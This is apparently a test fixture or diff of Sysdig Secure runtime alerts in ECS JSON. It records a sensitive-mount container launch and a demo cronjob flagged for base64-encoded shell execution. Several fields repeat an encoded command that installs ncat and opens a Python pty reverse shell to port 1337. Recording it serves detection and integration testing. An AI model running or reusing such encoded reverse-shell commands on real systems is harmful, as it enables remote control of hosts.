mounts=/:/rootfs::false:private,/var/run:/var/run::false:private,/sys:/sys::false:private,/var/lib/docker:/var/lib/docker::false:private,/dev/disk:/dev/disk::false:private,/var/lib/kubelet/pods/e08484f0-c944-4b62-bdb3-9341e74ef7b5/etc-hosts:/etc/hosts::true:private,/var/lib/kubelet/pods/e08484f0-c944-4b62-bdb3-9341e74ef7b5/containers/cadvisor/e5f5ac18:/dev/termination-log::true:private evt.type=execve evt.res=SUCCESS proc.pid=741051 proc.cwd=/ proc.ppid=741043 proc.pcmdline=runc --root /run/containerd/runc/k8s.io --log /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a/log.json --log-format json --systemd-cgroup create --bundle /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a --pid-file /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a/init.pid 382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a proc.sid=1 user.loginuid=-1 user.uid=0 user.loginname= group.gid=0 group.name=root container.id=382e35271d0a container.name=cadvisor)", + "observer": { + "product": "Sysdig Secure", + "vendor": "Sysdig" + }, + "orchestrator": { + "cluster": { + "name": "myclusterName" + }, + "namespace": "wave-autoscale", + "resource": { + "name": "wave-autoscale-agent-abcde" + } + }, + "process": { + "command_line": "cadvisor -logtostderr --enable_metrics=cpu,diskIO,memory,network,oom_event --docker_only", + "executable": "/usr/bin/cadvisor", + "name": "cadvisor", + "parent": { + "command_line": "runc --root /run/containerd/runc/k8s.io --log /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a/log.json --log-format json --systemd-cgroup create --bundle /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a --pid-file /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a/init.pid 382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a", + "name": "runc", + "pid": 741043 + }, + "pid": 741051, + "working_directory": "/" + }, + "related": { + "hash": [ + "9360d7421c5e9b646ea13e5ced3f8e6da80017b0144733a04b7401dd8c01a5cb" + ], + "hosts": [ + "hybrid-node" + ], + "user": [ + "root", + "0" + ] + }, + "rule": { + "description": "This Notable Events policy contains rules which may indicate undesired behavior including security threats. The rules are more generalized than Threat Detection policies and may result in more noise. Tuning will likely be required for the events generated from this policy.", + "name": "Launch Sensitive Mount Container", + "ruleset": "Sysdig Runtime Notable Events" + }, + "sysdig": { + "event": { + "actions": [ + { + "after_event_ns": 30000000000, + "before_event_ns": 15000000000, + "err_msg": "maximum number of outstanding captures (1) reached", + "is_successful": false, + "token": "7d30b372-3dd9-1234-5678-403612345678", + "type": "capture" + } + ], + "category": "runtime", + "content": { + "fields": { + "container": { + "id": "382abcdefd0a", + "image": { + "repository": "gcr.io/cadvisor/cadvisor", + "tag": "v0.45.0" + }, + "mounts": "/:/rootfs::false:private,/var/run:/var/run::false:private,/sys:/sys::false:private,/var/lib/docker:/var/lib/docker::false:private,/dev/disk:/dev/disk::false:private,/var/lib/kubelet/pods/e08484f0-c944-4b62-bdb3-9341e74ef7b5/etc-hosts:/etc/hosts::true:private,/var/lib/kubelet/pods/e08484f0-c944-4b62-bdb3-9341e74ef7b5/containers/cadvisor/e5f5ac18:/dev/termination-log::true:private", + "name": "cadvisor" + }, + "evt": { + "res": "SUCCESS", + "type": "execve" + }, + "group": { + "gid": "0", + "name": "root" + }, + "proc": { + "cmdline": "cadvisor -logtostderr --enable_metrics=cpu,diskIO,memory,network,oom_event --docker_only", + "cwd": "/", + "exepath": "/usr/bin/cadvisor", + "name": "cadvisor", + "pcmdline": "runc --root /run/containerd/runc/k8s.io --log /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a/log.json --log-format json --systemd-cgroup create --bundle /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a --pid-file /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a/init.pid 382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a", + "pid": 741051, + "pname": "runc", + "ppid": 741043, + "sid": "1" + }, + "user": { + "name": "root", + "uid": "0" + } + }, + "origin": "Sysdig", + "output": "Container cadvisor having image gcr.io/cadvisor/cadvisor with sensitive mount started by user root and parent runc (proc.name=cadvisor image=gcr.io/cadvisor/cadvisor:v0.45.0 proc.exepath=/usr/bin/cadvisor proc.pname=runc gparent=containerd-shim ggparent=systemd gggparent= mounts=/:/rootfs::false:private,/var/run:/var/run::false:private,/sys:/sys::false:private,/var/lib/docker:/var/lib/docker::false:private,/dev/disk:/dev/disk::false:private,/var/lib/kubelet/pods/e08484f0-c944-4b62-bdb3-9341e74ef7b5/etc-hosts:/etc/hosts::true:private,/var/lib/kubelet/pods/e08484f0-c944-4b62-bdb3-9341e74ef7b5/containers/cadvisor/e5f5ac18:/dev/termination-log::true:private evt.type=execve evt.res=SUCCESS proc.pid=741051 proc.cwd=/ proc.ppid=741043 proc.pcmdline=runc --root /run/containerd/runc/k8s.io --log /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a/log.json --log-format json --systemd-cgroup create --bundle /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a --pid-file /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a/init.pid 382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a proc.sid=1 user.loginuid=-1 user.uid=0 user.loginname= group.gid=0 group.name=root container.id=382e35271d0a container.name=cadvisor)", + "policy_id": "10011701", + "rule_name": "Launch Sensitive Mount Container", + "rule_sub_type": 0, + "rule_tags": [ + "container", + "container_best_practices", + "container_immutability", + "SOC2", + "SOC2_CC6.1", + "NIST", + "NIST_800-190", + "NIST_800-190_3.4.3", + "NIST_800-190_3.5.5", + "NIST_800-53", + "NIST_800-53_AC-6(9)", + "NIST_800-53_AC-6(10)", + "NIST_800-53_AU-6(8)", + "ISO", + "ISO_27001", + "ISO_27001_A.9.2.3", + "HIPAA", + "HIPAA_164.308(a)", + "HIPAA_164.312(a)", + "HIPAA_164.312(b)", + "HITRUST", + "HITRUST_CSF", + "HITRUST_CSF_01.c", + "HITRUST_CSF_09.aa", + "GDPR", + "GDPR_32.1", + "GDPR_32.2", + "MITRE", + "MITRE_T1609_container_administration_command", + "MITRE_T1611_escape_to_host", + "MITRE_TA0002_execution", + "MITRE_TA0004_privilege_escalation", + "MITRE_TA0008_lateral_movement", + "MITRE_T1610_deploy_container", + "MITRE_TA0005_defense_evasion", + "MITRE_T1055.009_process_injection_proc_memory", + "MITRE_T1543_create_or_modify_system_process", + "CIS", + "oss" + ], + "rule_type": 6, + "type": "workloadRuntimeDetection" + }, + "description": "This Notable Events policy contains rules which may indicate undesired behavior including security threats. The rules are more generalized than Threat Detection policies and may result in more noise. Tuning will likely be required for the events generated from this policy.", + "engine": "falco", + "id": "1836ac8550123456789abcdefe5d827f", + "labels": { + "container": { + "image": { + "digest": "sha256:9360d7421c5e9b646ea13e5ced3f8e6da80017b0144733a04b7401dd8c01a5cb", + "id": "3f3e5f568a6d", + "repo": "gcr.io/cadvisor/cadvisor", + "tag": "v0.45.0" + }, + "label": { + "io": { + "kubernetes": { + "container": { + "name": "cadvisor" + }, + "pod": { + "name": "wave-autoscale-agent-abcde", + "namespace": "wave-autoscale" + } + } + } + }, + "name": "cadvisor" + }, + "host": { + "host_name": "hybrid-node", + "mac": "01-00-5E-90-10-02" + }, + "kubernetes": { + "cluster": { + "name": "myclusterName" + }, + "namespace": { + "name": "wave-autoscale" + }, + "node": { + "name": "node04" + }, + "pod": { + "name": "wave-autoscale-agent-abcde" + } + } + }, + "name": "Sysdig Runtime Notable Events", + "originator": "policy", + "raw_event_category": "runtime", + "raw_event_originator": "linuxAgent", + "severity": 5, + "severity_value": "Medium", + "source": "syscall", + "source_details": { + "sub_type": "container", + "type": "workload" + }, + "timestamp": "2025-04-15T07:13:45.52835Z" + } + }, + "tags": [ + "preserve_duplicate_custom_fields" + ], + "threat": { + "tactic": { + "id": [ + "TA0002", + "TA0004", + "TA0008", + "TA0005" + ], + "name": [ + "execution", + "privilege_escalation", + "lateral_movement", + "defense_evasion" + ] + }, + "technique": { + "id": [ + "T1609", + "T1611", + "T1610", + "T1543" + ], + "name": [ + "container_administration_command", + "escape_to_host", + "deploy_container", + "create_or_modify_system_process" + ], + "subtechnique": { + "id": [ + "T1055.009" + ], + "name": [ + "process_injection_proc_memory" + ] + } + } + }, + "user": { + "id": "0", + "name": "root" + } + }, + { + "@timestamp": "2025-04-18T09:00:00.8410903Z", + "cloud": { + "account": { + "id": "012345678912" + }, + "project": { + "id": "012345678912" + }, + "provider": "gcp", + "region": "us-central1" + }, + "container": { + "id": "4db57cd1354c", + "image": { + "hash": { + "all": [ + "sha256:aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a" + ] + } + }, + "name": "shell-scripting" + }, + "ecs": { + "version": "8.11.0" + }, + "event": { + "category": [ + "process" + ], + "id": "183a5e0123456789zbcdef400ba6d116", + "kind": "event", + "original": "{\"category\":\"runtime\",\"content\":{\"fields\":{\"container.id\":\"4db57cd1354c\",\"container.name\":\"shell-scripting\",\"group.gid\":\"0\",\"group.name\":\"root\",\"proc.cmdline\":\"bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh\",\"proc.cwd\":\"/\",\"proc.exepath\":\"/usr/bin/bash\",\"proc.hash.sha256\":\"7ebfc53f17925af4340d4218aafd16ba39b5afa8b6ac1f7adc3dd92952a2a237\",\"proc.name\":\"bash\",\"proc.pcmdline\":\"runc --root /run/containerd/runc/k8s.io --log /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe/log.json --log-format json --systemd-cgroup create --bundle /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe --pid-file /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe/init.pid 4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe\",\"proc.pid\":\"97888\",\"proc.pname\":\"runc\",\"proc.ppid\":\"97881\",\"proc.sid\":\"1\",\"user.loginname\":\"\",\"user.loginuid\":\"-1\",\"user.name\":\"root\",\"user.uid\":\"0\"},\"origin\":\"Sysdig\",\"output\":\"Potentially malicious Shell script base64-encoded under user root on shell-scripting (proc.name=bash proc.exepath=/usr/bin/bash proc.pname=runc gparent=containerd-shim ggparent=containerd-shim gggparent=containerd proc.cmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root proc.pid=97888 proc.cwd=/ proc.ppid=97881 proc.pcmdline=runc --root /run/containerd/runc/k8s.io --log /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe/log.json --log-format json --systemd-cgroup create --bundle /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe --pid-file /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe/init.pid 4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe proc.sid=1 user.uid=0 user.loginuid=-1 user.loginname= group.gid=0 group.name=root container.id=4db57cd1354c container.name=shell-scripting)\",\"policyId\":10011698,\"ruleName\":\"Base64-encoded Shell Script Execution\",\"ruleSubType\":0,\"ruleTags\":[\"host\",\"container\",\"MITRE\",\"MITRE_T1132.001_data_encoding_standard_encoding\",\"MITRE_TA0011_command_and_control\",\"MITRE_TA0005_defense_evasion\",\"MITRE_T1059.004_command_and_scripting_interpreter_unix_shell\",\"MITRE_T1059_command_and_scripting_interpreter\",\"MITRE_TA0002_execution\",\"MITRE_T1027_obfuscated_files_and_information\",\"MITRE_T1140_deobfuscate_decode_files_or_information\"],\"ruleType\":6,\"type\":\"workloadRuntimeDetection\"},\"description\":\"This policy contains rules which Sysdig considers High Confidence of a security incident. They are tightly coupled to common attacker TTP's. They have been designed to minimize false positives but may still result in some depending on your environment.\",\"engine\":\"falco\",\"id\":\"183a5e0123456789zbcdef400ba6d116\",\"labels\":{\"cloudProvider.account.id\":\"012345678912\",\"cloudProvider.name\":\"gcp\",\"cloudProvider.region\":\"us-central1\",\"container.image.digest\":\"sha256:aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a\",\"container.image.id\":\"ef0f72a55bd2\",\"container.image.repo\":\"docker.io/library/python\",\"container.image.tag\":\"3.9.18-slim\",\"container.label.io.kubernetes.container.name\":\"shell-scripting\",\"container.label.io.kubernetes.pod.name\":\"shell-scripting-1234567-12345\",\"container.label.io.kubernetes.pod.namespace\":\"default\",\"container.name\":\"shell-scripting\",\"gcp.location\":\"us-central1\",\"gcp.projectId\":\"012345678912\",\"host.hostName\":\"gke-cluster-gcp-demo-san-default-pool-12345678-1234\",\"host.mac\":\"01:00:5e:90:10:00\",\"kubernetes.cluster.name\":\"gke-alliances-demo-6\",\"kubernetes.cronJob.name\":\"shell-scripting\",\"kubernetes.job.name\":\"shell-scripting-29082780\",\"kubernetes.namespace.name\":\"default\",\"kubernetes.node.name\":\"gke-cluster-gcp-demo-san-default-pool-12345678-1234\",\"kubernetes.pod.name\":\"shell-scripting-00123450-abcd5\",\"kubernetes.workload.name\":\"shell-scripting\",\"kubernetes.workload.type\":\"cronjob\"},\"name\":\"Sysdig Runtime Threat Detection\",\"originator\":\"policy\",\"rawEventCategory\":\"runtime\",\"rawEventOriginator\":\"linuxAgent\",\"severity\":3,\"source\":\"syscall\",\"sourceDetails\":{\"subType\":\"container\",\"type\":\"workload\"},\"timestamp\":1744966800841090300}", + "provider": "syscall", + "severity": 3, + "type": [ + "info" + ] + }, + "group": { + "id": "0", + "name": "root" + }, + "host": { + "hostname": "gke-cluster-gcp-demo-san-default-pool-12345678-1234", + "mac": [ + "01-00-5E-90-10-00" + ], + "name": "gke-cluster-gcp-demo-san-default-pool-12345678-1234" + }, + "message": "Potentially malicious Shell script base64-encoded under user root on shell-scripting (proc.name=bash proc.exepath=/usr/bin/bash proc.pname=runc gparent=containerd-shim ggparent=containerd-shim gggparent=containerd proc.cmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root proc.pid=97888 proc.cwd=/ proc.ppid=97881 proc.pcmdline=runc --root /run/containerd/runc/k8s.io --log /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe/log.json --log-format json --systemd-cgroup create --bundle /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe --pid-file /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe/init.pid 4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe proc.sid=1 user.uid=0 user.loginuid=-1 user.loginname= group.gid=0 group.name=root container.id=4db57cd1354c container.name=shell-scripting)", + "observer": { + "product": "Sysdig Secure", + "vendor": "Sysdig" + }, + "orchestrator": { + "cluster": { + "name": "gke-alliances-demo-6" + }, + "namespace": "default", + "resource": { + "name": "shell-scripting-00123450-abcd5", + "parent": { + "type": "cronjob" + } + } + }, + "process": { + "command_line": "bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh", + "executable": "/usr/bin/bash", + "hash": { + "sha256": "7ebfc53f17925af4340d4218aafd16ba39b5afa8b6ac1f7adc3dd92952a2a237" + }, + "name": "bash", + "parent": { + "command_line": "runc --root /run/containerd/runc/k8s.io --log /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe/log.json --log-format json --systemd-cgroup create --bundle /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe --pid-file /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe/init.pid 4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe", + "name": "runc", + "pid": 97881 + }, + "pid": 97888, + "working_directory": "/" + }, + "related": { + "hash": [ + "7ebfc53f17925af4340d4218aafd16ba39b5afa8b6ac1f7adc3dd92952a2a237", + "aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a" + ], + "hosts": [ + "gke-cluster-gcp-demo-san-default-pool-12345678-1234" + ], + "user": [ + "root", + "0" + ] + }, + "rule": { + "description": "This policy contains rules which Sysdig considers High Confidence of a security incident. They are tightly coupled to common attacker TTP's. They have been designed to minimize false positives but may still result in some depending on your environment.", + "name": "Base64-encoded Shell Script Execution", + "ruleset": "Sysdig Runtime Threat Detection" + }, + "sysdig": { + "event": { + "category": "runtime", + "content": { + "fields": { + "container": { + "id": "4db57cd1354c", + "name": "shell-scripting" + }, + "group": { + "gid": "0", + "name": "root" + }, + "proc": { + "cmdline": "bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh", + "cwd": "/", + "exepath": "/usr/bin/bash", + "hash": { + "sha256": "7ebfc53f17925af4340d4218aafd16ba39b5afa8b6ac1f7adc3dd92952a2a237" + }, + "name": "bash", + "pcmdline": "runc --root /run/containerd/runc/k8s.io --log /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe/log.json --log-format json --systemd-cgroup create --bundle /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe --pid-file /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe/init.pid 4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe", + "pid": 97888, + "pname": "runc", + "ppid": 97881, + "sid": "1" + }, + "user": { + "name": "root", + "uid": "0" + } + }, + "origin": "Sysdig", + "output": "Potentially malicious Shell script base64-encoded under user root on shell-scripting (proc.name=bash proc.exepath=/usr/bin/bash proc.pname=runc gparent=containerd-shim ggparent=containerd-shim gggparent=containerd proc.cmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root proc.pid=97888 proc.cwd=/ proc.ppid=97881 proc.pcmdline=runc --root /run/containerd/runc/k8s.io --log /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe/log.json --log-format json --systemd-cgroup create --bundle /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe --pid-file /run/containerd/io.containerd.runtime.v2.task/k8s.io/4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe/init.pid 4db57cd1354c54c52c52af44b6e872f23e1d70428602efe1b0b0dc39ec53e3fe proc.sid=1 user.uid=0 user.loginuid=-1 user.loginname= group.gid=0 group.name=root container.id=4db57cd1354c container.name=shell-scripting)", + "policy_id": "10011698", + "rule_name": "Base64-encoded Shell Script Execution", + "rule_sub_type": 0, + "rule_tags": [ + "host", + "container", + "MITRE", + "MITRE_T1132.001_data_encoding_standard_encoding", + "MITRE_TA0011_command_and_control", + "MITRE_TA0005_defense_evasion", + "MITRE_T1059.004_command_and_scripting_interpreter_unix_shell", + "MITRE_T1059_command_and_scripting_interpreter", + "MITRE_TA0002_execution", + "MITRE_T1027_obfuscated_files_and_information", + "MITRE_T1140_deobfuscate_decode_files_or_information" + ], + "rule_type": 6, + "type": "workloadRuntimeDetection" + }, + "description": "This policy contains rules which Sysdig considers High Confidence of a security incident. They are tightly coupled to common attacker TTP's. They have been designed to minimize false positives but may still result in some depending on your environment.", + "engine": "falco", + "id": "183a5e0123456789zbcdef400ba6d116", + "labels": { + "cloud_provider": { + "account": { + "id": "012345678912" + }, + "name": "gcp", + "region": "us-central1" + }, + "container": { + "image": { + "digest": "sha256:aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a", + "id": "ef0f72a55bd2", + "repo": "docker.io/library/python", + "tag": "3.9.18-slim" + }, + "label": { + "io": { + "kubernetes": { + "container": { + "name": "shell-scripting" + }, + "pod": { + "name": "shell-scripting-1234567-12345", + "namespace": "default" + } + } + } + }, + "name": "shell-scripting" + }, + "gcp": { + "location": "us-central1", + "project_id": "012345678912" + }, + "host": { + "host_name": "gke-cluster-gcp-demo-san-default-pool-12345678-1234", + "mac": "01-00-5E-90-10-00" + }, + "kubernetes": { + "cluster": { + "name": "gke-alliances-demo-6" + }, + "cron_job": { + "name": "shell-scripting" + }, + "job": { + "name": "shell-scripting-29082780" + }, + "namespace": { + "name": "default" + }, + "node": { + "name": "gke-cluster-gcp-demo-san-default-pool-12345678-1234" + }, + "pod": { + "name": "shell-scripting-00123450-abcd5" + }, + "workload": { + "name": "shell-scripting", + "type": "cronjob" + } + } + }, + "name": "Sysdig Runtime Threat Detection", + "originator": "policy", + "raw_event_category": "runtime", + "raw_event_originator": "linuxAgent", + "severity": 3, + "severity_value": "High", + "source": "syscall", + "source_details": { + "sub_type": "container", + "type": "workload" + }, + "timestamp": "2025-04-18T09:00:00.8410903Z" + } + }, + "tags": [ + "preserve_duplicate_custom_fields" + ], + "threat": { + "tactic": { + "id": [ + "TA0011", + "TA0005", + "TA0002" + ], + "name": [ + "command_and_control", + "defense_evasion", + "execution" + ] + }, + "technique": { + "id": [ + "T1059", + "T1027", + "T1140" + ], + "name": [ + "command_and_scripting_interpreter", + "obfuscated_files_and_information", + "deobfuscate_decode_files_or_information" + ], + "subtechnique": { + "id": [ + "T1132.001", + "T1059.004" + ], + "name": [ + "data_encoding_standard_encoding", + "command_and_scripting_interpreter_unix_shell" + ] + } + } + }, + "user": { + "id": "0", + "name": "root" + } + }, + { + "@timestamp": "2025-04-16T03:01:01.1951498Z", + "cloud": { + "account": { + "id": "012345678912" + }, + "project": { + "id": "012345678912" + }, + "provider": "gcp", + "region": "us-central1" + }, + "container": { + "image": { + "hash": { + "all": [ + "sha256:aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a" + ] + }, + "name": "docker.io/library/python" + }, + "name": "shell-scripting" + }, + "ecs": { + "version": "8.11.0" + }, + "event": { + "category": [ + "process" + ], + "id": "1a36a012345678998765432108f1e03e", + "kind": "event", + "original": "{\"category\":\"runtime\",\"content\":{\"fields\":{\"container.image.repository\":\"docker.io/library/python\",\"container.name\":\"shell-scripting\",\"evt.res\":\"SUCCESS\",\"evt.type\":\"execve\",\"group.gid\":\"0\",\"group.name\":\"root\",\"proc.args\":\"\",\"proc.cmdline\":\"sh\",\"proc.cwd\":\"/\",\"proc.exepath\":\"/usr/bin/dash\",\"proc.hash.sha256\":\"f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6\",\"proc.name\":\"sh\",\"proc.pcmdline\":\"bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh\",\"proc.pid\":\"4094247\",\"proc.pid.ts\":\"1744772461104588229\",\"proc.pname\":\"bash\",\"proc.ppid\":\"4093769\",\"proc.ppid.ts\":\"1744772400850031947\",\"proc.sid\":\"1\",\"user.loginname\":\"\",\"user.loginuid\":\"-1\",\"user.name\":\"root\",\"user.uid\":\"0\"},\"origin\":\"Secure UI\",\"output\":\"Custom rule. The shell-scripting with image docker.io/library/python by parent bash under user root (proc.name=sh proc.exepath-custom=/usr/bin/dash proc.pname=bash gparent=containerd-shim ggparent= gggparent= image=docker.io/library/python user.uid=0 proc.cmdline=sh proc.pcmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root user.loginuid=-1 proc.args= 